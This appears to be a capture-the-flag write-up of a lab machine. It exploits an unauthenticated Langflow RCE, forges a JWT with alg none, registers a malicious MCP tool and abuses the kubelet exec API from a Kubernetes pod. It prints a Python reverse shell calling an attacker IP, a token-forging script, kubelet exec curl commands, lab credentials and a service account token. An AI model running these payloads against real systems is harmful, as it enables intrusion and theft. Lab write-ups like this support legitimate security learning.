Overview

The machine starts by enumerating a Langflow chat agent that exposes a Swagger API leaking the version, exploiting an unauthenticated RCE (CVE-2026-33017) to get a shell as www-data, leaking a superuser password from environment variables that gets reused for SSH to get user, finding an MCP config with credentials to reach an internal AI Tool Registry, forging a JWT with alg none to gain admin and register a malicious tool without an inputSchema to bypass validation and get shell inside a Kubernetes pod, then abusing the pod's service account token and kubelet exec API against a privileged, host-mounted pod to read root's flag

Enumeration

start with nmap enumeration

and we got HTTPS and SSH running on the target the main website got only this button redirecting to flow.fireflow.htb ss_20260626_204315.png

HTTPS

the flow is an agent chat chatting with it returns this message ss_20260626_204453.png

the directory fuzzing for it gets us this

the docs is a swagger UI, its URL is at /openapi.json so lets take a look

and we got the entire API structure and also the Langflow version ss_20260626_205731.png

shell as www-data

this version is vulnerable to unauthenticated RCE from CVE-2026-33017

replacing the PoC from the advisory with a revshell base64 encoded (easier to deal with so we don't care about escaping) we get a shell back ss_20260626_213842.png

there is a db and a secret_key (don't know for what yet) so lets get those files on our system

plaintext
www-data@fireflow:/var/lib/langflow$ ls
ls
ba4fe756-d6f7-4c7a-a7b1-f986206878ec
langflow.db
profile_pictures
secret_key

the db is empty, i should've checked the size anyway

the env variables leak a password for a langflow super user, the only other user with a home directory on the box is nightfall so lets test those creds for ssh

Shell as nightfall

and we got user

running linpeas on the system returns this directory in nightfall's home directory which was interesting, looking at it we get a password for the langflow-bot

plaintext
nightfall@fireflow:~/.mcp$ ls
config.json
nightfall@fireflow:~/.mcp$ cat config.json
{
  "server": "http://10.129.244.214:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}

this langflow user doesn't exist on the system so maybe it inside a docker container

hitting this endpoint to finger print the version, we come across something more important that the version JWT supports none as algorithm so lets get a token and forge it

bash
curl -s http://10.129.244.214:30080/api/v1/version
{"service":"MCP AI Tool Registry","version":"0.1.0","auth":{"type":"JWT","header":"Authorization: Bearer < token>","supported_algorithms":["HS256","none"]},"docs":"/docs","endpoints":["POST /mcp [MCP JSON-RPC 2.0]","POST /api/v1/auth","GET /api/v1/tools","POST /api/v1/tools [admin]"]}

first get the token

bash
nightfall@fireflow:~/.mcp$ curl -s -X POST http://10.129.244.214:30080/api/v1/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}'
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps","token_type":"bearer"}nightfall@fireflow:~/.mcp$

i will use this we could've also tried the secret key we found earlier on the initial foothold, but the none is better cause we are sure it is valid so if we got an error or something we are sure it isn't about the token

python
import base64, json

def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "langflow-bot", "role": "admin"}

token = f"{b64url(json.dumps(header, separators=(',', ':')).encode())}." \
        f"{b64url(json.dumps(payload, separators=(',', ':')).encode())}."

print(token)

here is the forged token

plaintext
nightfall@fireflow:~/.mcp$ python3 forge_jwt.py
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.
nightfall@fireflow:~/.mcp$ i

Shell as mcp

no auth error now lets create a tool

bash
nightfall@fireflow:~/.mcp$ curl -s -X POST http://10.129.244.214:30080/api/v1/tools \
  -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \
  -H "Content-Type: application/json" \
  -d '{}'
{"detail":[{"type":"missing","loc":["body","name"],"msg":"Field required","input":{}},{"type":"missing","loc":["body","description"],"msg":"Field required","input":{}},{"type":"missing","loc":["body","code"],"msg":"Field required","input":{}}]

and it is registered now

python
nightfall@fireflow:~/.mcp$ curl -s -X POST http://10.129.244.214:30080/api/v1/tools \
  -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ." \
  -H "Content-Type: application/json" \
  -d '{
    "name": "sysinfo",
    "description": "test tool",
    "code": "import os\ndef run():\n    return os.popen(\"id\").read()"
  }'
{"status":"registered","name":"sysinfo"}

tried to do some reasoning about this and the only thing that i can think of causing this issue is that we are missing the inputSchema so i will put a full without a schema and check it later when we get a shell to know if it is the reason

python
nightfall@fireflow:~/.mcp$ curl -s -X POST http://10.129.244.214:30080/api/v1/tools   -H "Authorization: Bearer $TOKEN"   -H "Content-Type: application/json"   -d '{
    "name": "revshell",
    "description": "test tool 3",
    "code": "import socket,subprocess,os\ndef run():\n    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n    s.connect((\"10.10.16.206\",4444))\n    os.dup2(s.fileno(),0)\n    os.dup2(s.fileno(),1)\n    os.dup2(s.fileno(),2)\n    subprocess.call([\"/bin/sh\",\"-i\"])"
  }'
{"status":"registered","namcurl -s -X POST http://10.129.244.214:30080/api/v1/tools \ttp://10.129.244.214:30080/api/v1/tools \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "test_noschema",
    "description": "no schema test",
    "code": "import os\ndef run():\n    os.system(\"echo ran_without_schema > /tmp/test_noschema.txt\")"
  }'

curl -s -X POST http://10.129.244.214:30080/mcp \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"test_noschema","arguments":{}}}'

and as you can see this time it worked

ss_20260626_222752.png

the tmp directory was empty so the inputSchema was an issue

bash
mcp@mcp-server-54464cb475-29ztf:/tmp$ ls -la
total 8
drwxrwxrwt 2 root root 4096 May 12 15:28 .
drwxr-xr-x 1 root root 4096 Jun 27 05:28 ..
mcp@mcp-server-54464cb475-29ztf:/tmp$

looking at the env we aren't in a docker we're in a kubepod

we got our token

plaintext
$ cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6ImFQRTZ5R3JrSUpadmdid19HcHBTRTBYUFJZWUxqeGcxUHJIaFJjTEVSdm8ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODE0MDczMjkyLCJpYXQiOjE3ODI1MzcyOTIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiYmJjZDU5YTUtZGY0Yi00MWY0LTgwZTEtNDdmMDlhZGEzMTE1Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZmlyZWZsb3ciLCJ1aWQiOiI4NzI5MTU4OC0wMTc4LTRlNDItYTk5OC00MWE1MmZhNzNiOGUifSwicG9kIjp7Im5hbWUiOiJtY3Atc2VydmVyLTU0NDY0Y2I0NzUtMjl6dGYiLCJ1aWQiOiI3MDJhZmViYi00ZjUxLTRlZDUtYWE5OC1hYjZiMjU1M2E3MjgifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Im1jcC1zYSIsInVpZCI6ImE1MzRmNTUxLWIyYjEtNGU2Ni1iZGE1LWU5YjVlMmE1NjAyYyJ9LCJ3YXJuYWZ0ZXIiOjE3ODI1NDA4OTl9LCJuYmYiOjE3ODI1MzcyOTIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0Om1jcC1zYSJ9.DG6a8dZyXuFXTCgzKaGOWvwsG2pkF0dCX79h461uPvApVPr61cK535NDG9Nid6Qo2OCep9LR8eXHs5Hh3Bs8YBmqzjPA-wCJ56edITuWNIztP2sI3LPEPd3_oHe0pGDT3BL9PuriVx0v6KCfiqnlhOuUNDQa6o5ddiSs6ugBvFd0cfvq2lHqgmyg_JvwYXKlPPSHLK6BNhCQaPbvPLOdSUnEs0ragP2-gd8Q5__-Ge5Ml4myTodeVrVZH7X3nf_-nrVGgzx0J-GJAQVGIGaHlbdwikClCCM2UGdnEutty-CfFXFk7rcb8r6rtXs4XoeV1T1OQwJkjGeXub835w7z7wmcp@mcp-server-54464cb475-29ztf:/$

first listing permission and we got a nodes/proxy one in the resource and you can see

Exfiltrating data as root

so then i listed the pods

shell
curl -sk "https://10.129.244.214:10250/pods" \
  -H "Authorization: Bearer $TOKEN" \

the output isn't pretty to look at but its results that there is a pod has the root file system mounted and this pod is privileged

plaintext
local-path-provisioner → running as uid 0 (root) in kube-system
prometheus-prometheus-node-exporter → privileged container, runAsUser: 0, with the entire host filesystem mounted read-only at /host/root

lets start with the one running with uid 0

connecting to that pod we can exec commands as you can see

bash
mcp@mcp-server-54464cb475-29ztf:/$ curl -sk -i --http1.1 \
> -H "Authorization: Bearer $TOKEN" \
> -H "Connection: Upgrade" \
> -H "Upgrade: websocket" \
> -H "Sec-WebSocket-Version: 13" \
> -H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
> -H "Sec-WebSocket-Protocol: v4.channel.k8s.io" \
> "https://10.129.244.214:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=id&output=1&error=1"
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: 347p6BvjpL3OsVgY0F/azCpJK8U=
Sec-WebSocket-Protocol: v4.channel.k8s.io

> uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)

and we get the flag

bash
mcp@mcp-server-54464cb475-29ztf:/$ curl -sk -i --http1.1 \
> -H "Authorization: Bearer $TOKEN" \
> -H "Connection: Upgrade" \
> -H "Upgrade: websocket" \
> -H "Sec-WebSocket-Version: 13" \
> -H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
> -H "Sec-WebSocket-Protocol: v4.channel.k8s.io" \
> "https://10.129.244.214:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?command=cat&command=/host/root/root/root.txt&output=1&error=1"
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: JQHbngjGvGmK/LxFPfQcf/LxJIk=
Sec-WebSocket-Protocol: v4.channel.k8s.io

"0c939710becdf408e9f1ad1ecd02bde5
#{"metadata":{},"status":"Success"}

and just because this isn't a human readable way to request and exfiltrate data, python is better here so use pip list to know what are the packages on the box and use python to automate this process

what was those extra headers we added in the curl command ? The kubelet exec protocol isn't request/response, once the 101 Switching Protocols handshake completes, it's a persistent bidirectional stream of binary frames, each starting with a 1-byte channel marker (0x00 stdin, 0x01 stdout, 0x02 stderr, 0x03 error-channel). curl can perform the handshake because that's still standard HTTP semantics, but curl has no concept of "websocket frame" as a data unit it just treats everything after the upgrade as an opaque byte stream and prints it raw. That's why the id test "worked": one short frame, one leading byte that happened to render harmlessly as >

Without the Sec-WebSocket-* headers (just hitting the URL normally): The server sees a regular GET /exec/... request. The kubelet's API multiplexer recognizes the /exec/ path is meant for streaming and expects an upgrade, so it responds with an error rather than treating it as a normal HTTP request-response and you'd get something like a 400 Bad Request or similar where the server is essentially saying that we need upgrade With the headers (Connection: Upgrade, Upgrade: websocket, Sec-WebSocket-Key)

here is the script instead

just so you know, the node is a read only so you can't write or add a SUID on the bash for example you can just exfiltrate data

this wasn't a good way to do all this but I've been doing some Kubernetes lately using kubectl and peirates and I just wanted to appreciate those tools by doing what they do manually (that's a joke, it was end of week and it was a little bit lazy to download tools)

Resources